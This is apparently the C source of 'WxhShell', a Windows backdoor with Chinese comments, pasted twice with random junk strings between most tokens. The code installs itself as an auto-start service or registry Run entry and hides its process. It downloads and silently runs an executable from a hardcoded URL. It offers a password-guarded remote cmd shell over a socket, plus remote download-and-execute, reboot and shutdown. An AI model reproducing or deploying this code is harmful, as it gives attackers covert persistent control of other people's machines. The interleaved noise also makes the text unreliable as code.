,"EnumProcessModules"); EVX{ 7% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vKwQXR~C NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z}A%=Z\/3 >>Ts?? if (!NtQueryInformationProcess) return 0; Cp`j/rF MF3b{|Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e^YHJ>@ if(!hProcess) return 0; gG%V 9eOQ '1fNBH2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }0`nvAf wfvU0]wk} CloseHandle(hProcess); [ao
U5;7 O|A_PyW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ; R=.iOn if(hProcess==NULL) return 0; BG^C9*ZuP "1q>At HMODULE hMod; $P7iRM] char procName[255]; j6~nE'sQ unsigned long cbNeeded; X7UuwIIP ;g_>
;tR/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G!8Z~CPF c H-@V< CloseHandle(hProcess); 5m=I*.qE MC((M,3L if(strstr(procName,"services")) return 1; // 以服务启动 bb42v7? b?4/#&z] return 0; // 注册表启动 M}_i52 } jJ4qR:] 8By,#T". // 主模块 &Lt[WT$ int StartWxhshell(LPSTR lpCmdLine) ultG36.x { 5 )2:stT73 SOCKET wsl; ]W0EVf=,k BOOL val=TRUE; cWGDee( int port=0; @ ''GPL@ struct sockaddr_in door; (\"k&O{ 6ZgU"!|r if(wscfg.ws_autoins) Install(); cr?7O;, =z?%;4'| port=atoi(lpCmdLine); &bqT/H18 }7G8|54t if(port<=0) port=wscfg.ws_port; FG3UZVUg9 f\;65k_jq WSADATA data; f"7M^1)h2% if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z34Wbun4 KV|}# <dD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )2UZ% ?V# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jEc|]E door.sin_family = AF_INET; IvpcSam' door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Z j]~| door.sin_port = htons(port); +9O5KI?P {
74mf'IW if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G
a;.a closesocket(wsl); lT\a2.E return 1; '6$*YN&5 } ODc9r } ;o/>JHGj if(listen(wsl,2) == INVALID_SOCKET) {
Pi%%z
closesocket(wsl); B,z<%DAE return 1; _8}QlT } zJ+8FWy:S Wxhshell(wsl); ,U)"WLmY WSACleanup(); Kx"<J@ SxyONp.$\ return 0; &2-L.Xb ,:Vm6u! } :RSz4 EA.D}X C // 以NT服务方式启动 M,j(=hRJ/E VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C=uZ1xg*, { _ 46X%k DWORD status = 0; 2;L|y._`w DWORD specificError = 0xfffffff; sfr(/mp( n/QF2&X7) serviceStatus.dwServiceType = SERVICE_WIN32; RWgDD;&_[a serviceStatus.dwCurrentState = SERVICE_START_PENDING; *xf ._~E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6b8;}],| serviceStatus.dwWin32ExitCode = 0; EzW)'Zzw~ serviceStatus.dwServiceSpecificExitCode = 0; Md)zEj`\ serviceStatus.dwCheckPoint = 0; !KKT[28v serviceStatus.dwWaitHint = 0; k^$+n_ J68j=`Y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I"AYWo? if (hServiceStatusHandle==0) return; Ub0/r$]DK D7]#Xk2 status = GetLastError(); _$<Gyz* if (status!=NO_ERROR) U%7i=Z{^Ks { 5`~mmAUk;` serviceStatus.dwCurrentState = SERVICE_STOPPED; 8$|8`;I( serviceStatus.dwCheckPoint = 0; %xwIt~Y serviceStatus.dwWaitHint = 0; )Fd
HV;K serviceStatus.dwWin32ExitCode = status; rQ4*k'lA: serviceStatus.dwServiceSpecificExitCode = specificError; 4fh^[\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0s#vwK13 return; }MR1^ } {)- .xG [w
-{r+[ serviceStatus.dwCurrentState = SERVICE_RUNNING; oMcK`%ydm serviceStatus.dwCheckPoint = 0; gADmN8G= serviceStatus.dwWaitHint = 0; .*=]gZ$IE if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k>}g\a, } w.Ezg j M-NV_W&M // 处理NT服务事件,比如:启动、停止 6*9}4` VOID WINAPI NTServiceHandler(DWORD fdwControl) h:XzUxL\ { 8,?v?uE switch(fdwControl) Xf=XBoN| { H-rWDN# case SERVICE_CONTROL_STOP: /Y[~-Y+!, serviceStatus.dwWin32ExitCode = 0; PIA)d-Z serviceStatus.dwCurrentState = SERVICE_STOPPED; 4vK8kkW1 serviceStatus.dwCheckPoint = 0; s/"&9F3 serviceStatus.dwWaitHint = 0; Zn:R
PMk* { y`e4;*1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); f0+2t.tj } A]`El8_t" return; {P8[X@Lu case SERVICE_CONTROL_PAUSE: e{({|V ' serviceStatus.dwCurrentState = SERVICE_PAUSED; @/J[t break; `&M{cfp_ case SERVICE_CONTROL_CONTINUE: 2Zuq?1= serviceStatus.dwCurrentState = SERVICE_RUNNING; ,O1O8TwUB0 break; r%wA&FQ8U case SERVICE_CONTROL_INTERROGATE: ^IZ)#1U break; ?[ly`>KpJ }; D/(L SetServiceStatus(hServiceStatusHandle, &serviceStatus); RVtQ20e";r } -@^Zq} (VyNvB // 标准应用程序主函数 mtic> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U5Erm6U: { Ot&:mT!2 YF#HSf7 // 获取操作系统版本 F0~k1TDw OsIsNt=GetOsVer(); g1(Xg. GetModuleFileName(NULL,ExeFile,MAX_PATH); Xog/O i Jsg
I' // 从命令行安装 :/YO ni1h if(strpbrk(lpCmdLine,"iI")) Install(); G@!z$ \8uo{#cL8 // 下载执行文件 KH KS$D if(wscfg.ws_downexe) { q^8EOAvnZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XXmE+aI WinExec(wscfg.ws_filenam,SW_HIDE); 1`f_P$&Z_J } u#W5`sl %kf>&b,Mi if(!OsIsNt) { `T ^G^7& // 如果时win9x,隐藏进程并且设置为注册表启动 >: 0tA{bV HideProc(); 9z
m|Lbj StartWxhshell(lpCmdLine); m(D]qYwh } X{Yw+F,j else >QQ(m\a$ if(StartFromService()) KYJ1}5n // 以服务方式启动 (lA.3 4.p StartServiceCtrlDispatcher(DispatchTable); VCNT4m else Mro4`GL // 普通方式启动 gLD`wfZR StartWxhshell(lpCmdLine); )G^TW'9 1F[L"W;r return 0; bTmL5}n } #$S}3
o iY[+Ywh U3;aLQ* 'iSAAwT2aj =========================================== B,$l4m4 &znH!AQ0 HgBJf~q~U n[xkSF^) )\/
=M* yT OyDm- " Ob +9W a+41|)pt #include <stdio.h> /%x7+Rl\-^ #include <string.h> 1ZJ4*b n #include <windows.h> (Ha@s^?.C #include <winsock2.h> UyYfpL"$A" #include <winsvc.h> _cJ[
FP1 #include <urlmon.h> ,a|@d}U hp!d/X=J_ #pragma comment (lib, "Ws2_32.lib") :LJ7ru2 #pragma comment (lib, "urlmon.lib") :bM+&EP Y,z??bm~J #define MAX_USER 100 // 最大客户端连接数 u.|~
#define BUF_SOCK 200 // sock buffer C.a5RF0 #define KEY_BUFF 255 // 输入 buffer TT!ET<ciN *}b]rjsj #define REBOOT 0 // 重启 hP?fMW$V #define SHUTDOWN 1 // 关机
{E9v`u\ ~9pM%N
V #define DEF_PORT 5000 // 监听端口 l?N`{,1^ >.9eBz@ #define REG_LEN 16 // 注册表键长度 _v5t<_^N #define SVC_LEN 80 // NT服务名长度 ]o.vB}WsY \9c$`nn // 从dll定义API ,+/zH'U} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;|ub!z9GG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >G)qns9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dT@UK^\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4z4v\IpB =6nD0i9+ // wxhshell配置信息 S4vbN struct WSCFG { 85U.wpG int ws_port; // 监听端口 _"f :` char ws_passstr[REG_LEN]; // 口令 3*S[eqMJc int ws_autoins; // 安装标记, 1=yes 0=no Ng<1Sd|MV char ws_regname[REG_LEN]; // 注册表键名 ~&G4)AM char ws_svcname[REG_LEN]; // 服务名 $`Nd?\$ char ws_svcdisp[SVC_LEN]; // 服务显示名 '8`T|2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 S0w> hr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M8W# io int ws_downexe; // 下载执行标记, 1=yes 0=no j\)H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W*T{,M@Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -/{af <HoAj"xf }; q|#MB7e/ ?qHF}k| // default Wxhshell configuration eMMx8E)B struct WSCFG wscfg={DEF_PORT, pu;3nUH "xuhuanlingzhe", 9Ld9N;rWm# 1, <bmLy_": "Wxhshell", hq_~^/v\ "Wxhshell", )@7DsV/M "WxhShell Service", ija:H'j "Wrsky Windows CmdShell Service", gp "Please Input Your Password: ", 6vz1*\:H~ 1, P;91~``b- "http://www.wrsky.com/wxhshell.exe", e1 a*'T$z "Wxhshell.exe" 0Oxz3r%}r }; CmC0k-%w xxX/y2\ // 消息定义模块 # mT]j"" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hY8#b)l~lu char *msg_ws_prompt="\n\r? for help\n\r#>"; Bku'H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UVX"fZ) char *msg_ws_ext="\n\rExit."; >]$aoA# char *msg_ws_end="\n\rQuit."; (Pi-uL<[a char *msg_ws_boot="\n\rReboot..."; *3Nn +T
char *msg_ws_poff="\n\rShutdown..."; E&2tBrAq char *msg_ws_down="\n\rSave to "; 3]}'TA`v (aKZ5>>cN char *msg_ws_err="\n\rErr!"; }5gr5g\OtP char *msg_ws_ok="\n\rOK!"; _vrWj<wyf w=J4zkWk char ExeFile[MAX_PATH]; T%I&txl int nUser = 0; /8e W@IO.F HANDLE handles[MAX_USER]; C ?7X"~~ int OsIsNt; I6dm@{/:> d79N-O- SERVICE_STATUS serviceStatus; vA?_-. J SERVICE_STATUS_HANDLE hServiceStatusHandle; n6f3H\/P& #ooc)), // 函数声明 f'{>AKi=C int Install(void); <MZi<Z` int Uninstall(void); TlPVHJyt int DownloadFile(char *sURL, SOCKET wsh); n(&*kfk int Boot(int flag); gue(C(~.k_ void HideProc(void); 1L[S*X int GetOsVer(void); MW@ DXbKVl int Wxhshell(SOCKET wsl); XVUf,N, void TalkWithClient(void *cs); $L{7%]7QC int CmdShell(SOCKET sock); J?jeYW int StartFromService(void); :R+],m il int StartWxhshell(LPSTR lpCmdLine); \C/z%Hf7- |9s wZ[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *T4ge|zUc VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5u,sx664 a$+#V=bA // 数据结构和表定义 @d)a~[pm SERVICE_TABLE_ENTRY DispatchTable[] = oh&Y<d0 { XZO<dhZX: {wscfg.ws_svcname, NTServiceMain}, OV|Z=EwJ {NULL, NULL} @hT;Bo2G] }; _i@x@:_l 1q!sKoJ< // 自我安装 M {x ie int Install(void) wItz cY1m { i QqbzOY char svExeFile[MAX_PATH]; D44I"TgqD HKEY key; G%OpO.Wf strcpy(svExeFile,ExeFile); v*DFiCQD TN ci.'] // 如果是win9x系统,修改注册表设为自启动 */U$sZQ) if(!OsIsNt) { 6y@<?08Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iEhDaC[e(b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {HuLuP0t RegCloseKey(key); @,vv\M0)p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OK\]*r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M(S{1|,V RegCloseKey(key); y h-9u return 0; >4'21,q } r5)f82pQ } A_Gp&acs$ } =g2\CIlVU6 else { )dg UmN h544dNo& // 如果是NT以上系统,安装为系统服务 Kq6qXc\x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WguV{#=H if (schSCManager!=0) 6DZ2pT: { a}D&$yz2 SC_HANDLE schService = CreateService ro]L}oE+ ( APuu_!ez1 schSCManager, Ph\F'xROe wscfg.ws_svcname, DZAH"sb wscfg.ws_svcdisp, uN&M\( SERVICE_ALL_ACCESS, =+Tsknq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~[;{ SERVICE_AUTO_START, &|] Fg5 SERVICE_ERROR_NORMAL, H2]BMkum svExeFile, MZi8Fo' NULL, gD40y\9r NULL, hGKdGu`0 NULL, YD+QX@ NULL, qq>44 k\|) NULL Px#4pmz ); 9;:7e*x]lc if (schService!=0) A>y#}^l] { Oi#k:vq4 CloseServiceHandle(schService); sp,(&Y]US CloseServiceHandle(schSCManager); Q,TaJ] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { r X5 strcat(svExeFile,wscfg.ws_svcname); lMPbLF%_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rN'k4V"K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u"joCZ7`kG RegCloseKey(key); U#l.E1Z return 0; N>T=L0` } &:,fb]p } dW6Q)Rfi CloseServiceHandle(schSCManager); "p2u+ 8? } Ae3#>[]{ } 9&[\*{ '.xkn{c return 1; {kv4g\a; } '4Y*-!9 ~M(pCSJ[ // 自我卸载 {.%0@{Y int Uninstall(void) ,P1G?,y { kfIbgya HKEY key; JG1LS$p^ _4A&%> if(!OsIsNt) { ]n/jJ_[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m';|}z' RegDeleteValue(key,wscfg.ws_regname); s
UvKA0 RegCloseKey(key); ,7/\&X<`B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4v i B=> RegDeleteValue(key,wscfg.ws_regname); ;+!xZOmm RegCloseKey(key); sd7Y6?_C return 0; i@%L_[MtA } $jDD0<F.# } f61]`@Bk } l$qmn$Uc else { HKT{IP+7(L (rMTW+, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]*;RHy9 if (schSCManager!=0) `jt(DKB+J { zh?xIpY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IrUpExJ if (schService!=0) jR}*bIzv { _qdWQFuM if(DeleteService(schService)!=0) { ^O?l9(=/u CloseServiceHandle(schService); Z7ZWf'o CloseServiceHandle(schSCManager); aj+zmk~- return 0; I%C]>ZZh } y;*My# CloseServiceHandle(schService); AZ]Z,s6 } 8VKb* CloseServiceHandle(schSCManager); bK6, saN> } an #jZ[ } t/_\U=i$ :^C#-O return 1; R#rh } \Gv- sA s"gKonwI2 // 从指定url下载文件 15RI(BN int DownloadFile(char *sURL, SOCKET wsh) K4BTk! { iFXUKGiV HRESULT hr; 4d,qXSKty char seps[]= "/"; h:eN>yW char *token; r< N-A?a char *file; &*h`b{] char myURL[MAX_PATH]; ~r7DEy|+ char myFILE[MAX_PATH];
"`H=AX0 >IR`] strcpy(myURL,sURL); Sf#\6X<B token=strtok(myURL,seps); |8b$x| B while(token!=NULL) n C\(+K1% { =aX1:Z file=token; OsDp88Bc token=strtok(NULL,seps); bUpmU/RW } f4qS OVv
w`w `q' GetCurrentDirectory(MAX_PATH,myFILE); \f~u85 strcat(myFILE, "\\"); ?^F*"+qI strcat(myFILE, file); 'lSnyW{ send(wsh,myFILE,strlen(myFILE),0); %>oT7|x send(wsh,"...",3,0); U<#$w{d: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hA$c.jJr.Z if(hr==S_OK) hPNQGVv return 0; _%C_uBLi else G*kXWEx
return 1; qhv4R| ) il 8A&`% } vUA)#z< bUEt0wRR // 系统电源模块 Phk`=:xh int Boot(int flag) bs4fyb { woC
FN1W HANDLE hToken; mRix0XBI~ TOKEN_PRIVILEGES tkp; l[ZQ7$kL !IQfeoT if(OsIsNt) { x(T!I&i={ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'npT+p$V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F5om-tzy tkp.PrivilegeCount = 1; 4 @ydK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rZwf%} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4rGO8R if(flag==REBOOT) { Hj-<{#, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;RTrRh0v return 0;
QmDhZ04f } QZz{74]n else { TWD|1
di0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /;]B1T7 return 0; bRY4yT } ^+Y-=2u: } .T
N`p* else { bHlD m~5 if(flag==REBOOT) { -O5(% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9, sCJ5bb" return 0; V8| q"UX } 3 z{5c else { T5X'D(\| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hc31+TL return 0; P*nT\B } @pEO@bbg> } EzeDShN=J 0YTtA]|`4 return 1; -sGWSC } {R6Zwjs HnYFE@Nl:U // win9x进程隐藏模块 .P0Qs&i void HideProc(void) #E~WVTOw { v;NZ"1=_ bl+@}+A HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GXAk*vS=G if ( hKernel != NULL ) 1zEZ\G { cxF?&0[mY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UVQ a
af ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xSMp[j FreeLibrary(hKernel); SBYMDKZ } WEY97_@ p7ns(g@9 return; W@uH!n>k } 3Wtv+L7Br `!>dbR&1 // 获取操作系统版本 Jr*S2z<* int GetOsVer(void) U{:(j5m { Z2pN<S{5 OSVERSIONINFO winfo; \w@_(4")Qb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rs(CrB/M GetVersionEx(&winfo); |
9\7xT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZE3ysLkm return 1; O+UV\ else Eg-Mm4o return 0; 6pdl,5[x- } Kr}M>hF+| c#4L*$ViF // 客户端句柄模块 B$[%pm`'2 int Wxhshell(SOCKET wsl) $y]||tX { ?}lp o; $ SOCKET wsh; O%q;,w{prW struct sockaddr_in client; J#OE}xASoA DWORD myID; "}~i7NBB Hr8$1I$= while(nUser<MAX_USER) yPxG`w' { bQ\ -6dOtv int nSize=sizeof(client); g,GbaaXH wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q MT.7n: if(wsh==INVALID_SOCKET) return 1; -GkK[KCH #SLxN AH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S&))
0d if(handles[nUser]==0) +qW w-8 closesocket(wsh); 4+ ?ZTc( else 6L`+z nUser++; gp&&
c, } \eSk7C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hpo?|;3D5 6x zR*~7 return 0; TWR#MVMI } r(2'0JQ i,b7Ft:F& // 关闭 socket ^@5ui;JV void CloseIt(SOCKET wsh) uW--
nXMs { _Ag/gu2-? closesocket(wsh); /KvPiQ% nUser--; m+8b2H:V ExitThread(0); xS\QKnG. } W<hdb!bE |I^Jn@Mq: // 客户端请求句柄 9xS`@ "` void TalkWithClient(void *cs) n#L2cv~Aj" { @p` CAB JE:n`l/p SOCKET wsh=(SOCKET)cs; m ?"%&| char pwd[SVC_LEN]; /zP)2q^ char cmd[KEY_BUFF]; T _9ZI|Jx char chr[1]; /$.vHt5nt int i,j; @ un ;gu>;_ while (nUser < MAX_USER) { _x|8U'|Ce {hq ;7 if(wscfg.ws_passstr) { ci NTYow if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j[ZniD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xW;[}t-QS //ZeroMemory(pwd,KEY_BUFF); G~hILW^ i=0; > FcA, while(i<SVC_LEN) { C05{,w?
T]Td4T! // 设置超时 qsRfG~Cg fd_set FdRead; "91Atb;hJ struct timeval TimeOut; W]Y!ZfGnN FD_ZERO(&FdRead); LW
3J$Am FD_SET(wsh,&FdRead); }(%}"%$ TimeOut.tv_sec=8; `L[32B9 TimeOut.tv_usec=0; LOG*K;v3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k@)m- K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }b\q<sNE{ IS*"_o<AR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JOne&{h]J" pwd=chr[0]; d*:qFq_ if(chr[0]==0xd || chr[0]==0xa) { Olh%"=*; pwd=0; wQuaB6E break; 0]w[wc
< }
#YYvc`9 i++; ]B' } c1!/jTX$ WHavz0knf[ // 如果是非法用户,关闭 socket 5%aKlx9^# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jqsktJw#i } @.@#WHde i-vJ&}} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tsC|R~wW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eKti+n. 2DqHqq9m while(1) { 5$Q`P',*Ua
%c2i.E/G ZeroMemory(cmd,KEY_BUFF); "/-v 9 x]+KO)I // 自动支持客户端 telnet标准 Y+yvv{01 j=0; n.UM+2G while(j<KEY_BUFF) { !4cdP2^P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OxGCpbh*7o cmd[j]=chr[0]; G:ngio]G0 if(chr[0]==0xa || chr[0]==0xd) { b%t9a\ 0V cmd[j]=0; E_uH'E break; @!NHeH=pR } e[&3K< j++; MW@b;=( } $,#IPoi~X lc(iy:z@ // 下载文件 F(fr,m3 if(strstr(cmd,"http://")) { 0(f;am0y send(wsh,msg_ws_down,strlen(msg_ws_down),0); !e"m*S.(6{ if(DownloadFile(cmd,wsh)) Zo ReyY2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); PCnJ2 else E1w XG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kV9NFo22 } VOOThdR else { :@A;!'zpL OWfj<#}t+ switch(cmd[0]) { `;2`H, G' Xn'>k[}<k // 帮助 TBfl9Q case '?': { ?\VN`8Yb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^S2}0Nf break; RtQfE+ } .u3W]5M| // 安装 iL'
]du<wk case 'i': { leJd){ if(Install()) HD|)D5wH| send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4c@F.I else 'E8Qi'g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I;Y`rGj break; . L%@/(r } T )]|o+G // 卸载 v!C+W$,T case 'r': { Gw,kC{:C if(Uninstall()) tV4aUve send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6RodnQ else ~ZN9 E-uL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gq &85([ break; DTVnQC } qiJ{X{lI // 显示 wxhshell 所在路径 8?pZZtad case 'p': { hIr^"kVK char svExeFile[MAX_PATH]; {0{$.L strcpy(svExeFile,"\n\r"); rrRC5h
strcat(svExeFile,ExeFile); "evV/Fg( send(wsh,svExeFile,strlen(svExeFile),0); &"n9,$ break; @6`@.iZ } 7Wn]l! // 重启 r5wXuA,Um case 'b': { %z(=GcWm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X/7 49"23 if(Boot(REBOOT)) Xq^{P2\w1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "
N4]e/.V else { niBpbsO closesocket(wsh); L]")TQ ExitThread(0); 4`]1W,t } `"4EE}eQc break; AOUO',v } "ET"dMxU // 关机 &p/k VM case 'd': { >@iV!! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); biK.HL\V if(Boot(SHUTDOWN))
&|*| send(wsh,msg_ws_err,strlen(msg_ws_err),0); U++UG5 c else { 8 EH3zm4 closesocket(wsh); bc-}Qn ExitThread(0); z8MYgn7 } _?<Fc8F break; an~Kc!Oki }
KguFU // 获取shell 4{E=wg^p case 's': { IQ8AsV&'C CmdShell(wsh); /9Xf[< closesocket(wsh); (#k#0T kE ExitThread(0); Pw{+7b$ break; nfB9M1Svn } hiuPvi} // 退出 R 5zV=N case 'x': { f;a6ux# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U5=J;[w}N CloseIt(wsh); Ccmbdw,Z5 break; [*v\X %+ } \ S R // 离开 >O=V1 case 'q': { 2[eY q1f! send(wsh,msg_ws_end,strlen(msg_ws_end),0); :{2$X|f
3 closesocket(wsh); V"73^ WSACleanup(); *^ BE1- exit(1); yD"sYT break; Mk;j"ZDF } 0}N^l=jQ } &5<lQ1 } ]W,g>91m m\=u/Zip // 提示信息 gE~31:a^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !5-[kG& } V>Cf
8>m } =|/b[Gd( I%`2RXBt3^ return; tB.9Ov* } Ygb#U'| #S)*MT4ke // shell模块句柄 -d]z_
SP@ int CmdShell(SOCKET sock) G$b4`wt { G <q@K- STARTUPINFO si; hyp`6?f ZeroMemory(&si,sizeof(si)); Xs/hqIXB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lif mYn[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }{"\"Bn_ PROCESS_INFORMATION ProcessInfo; >Ko )Z&j9W char cmdline[]="cmd"; {JJ`|*H$_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *(rE< return 0; l{4\Wn Va } * ?K=;$ (ym)q#^ // 自身启动模式 I$&/?ns@O int StartFromService(void) -~g3?!+Hb { ;DTNw= typedef struct <Jx{Uv { "O`;zC DWORD ExitStatus; ?W(f%/B# DWORD PebBaseAddress; yLP0w^Q DWORD AffinityMask; M<729M DWORD BasePriority; IP3-lru ULONG UniqueProcessId; >*MB_m2| ULONG InheritedFromUniqueProcessId; 6dh PqL } PROCESS_BASIC_INFORMATION; Velmq'n foeVjL:T PROCNTQSIP NtQueryInformationProcess; tj0vB]c Dcf`+?3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Zf<r1m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jc+U$h4 3^\y> HANDLE hProcess; Y'P8 `$ PROCESS_BASIC_INFORMATION pbi; g6farLBF S.z ;Bm HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7)T+!> if(NULL == hInst ) return 0; b#M<b.R) *QVE>{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \r2w@F{C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lc#H%Qlg NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =% p"oj]: M\%{!Wzo8 if (!NtQueryInformationProcess) return 0; ocMf}" ,#A,+!4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) E\pQ5& if(!hProcess) return 0; @l8?\^N g 0L 4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UpITx]y?"m [|YMnV<B CloseHandle(hProcess); ">o/\sXeH :X#(T-!t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ch&r. if(hProcess==NULL) return 0; x[X.// : D7@10;F}[ HMODULE hMod; u0,~pJvX char procName[255]; `'>>[*06:a unsigned long cbNeeded; La!PGZ{ p4[W@JV if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 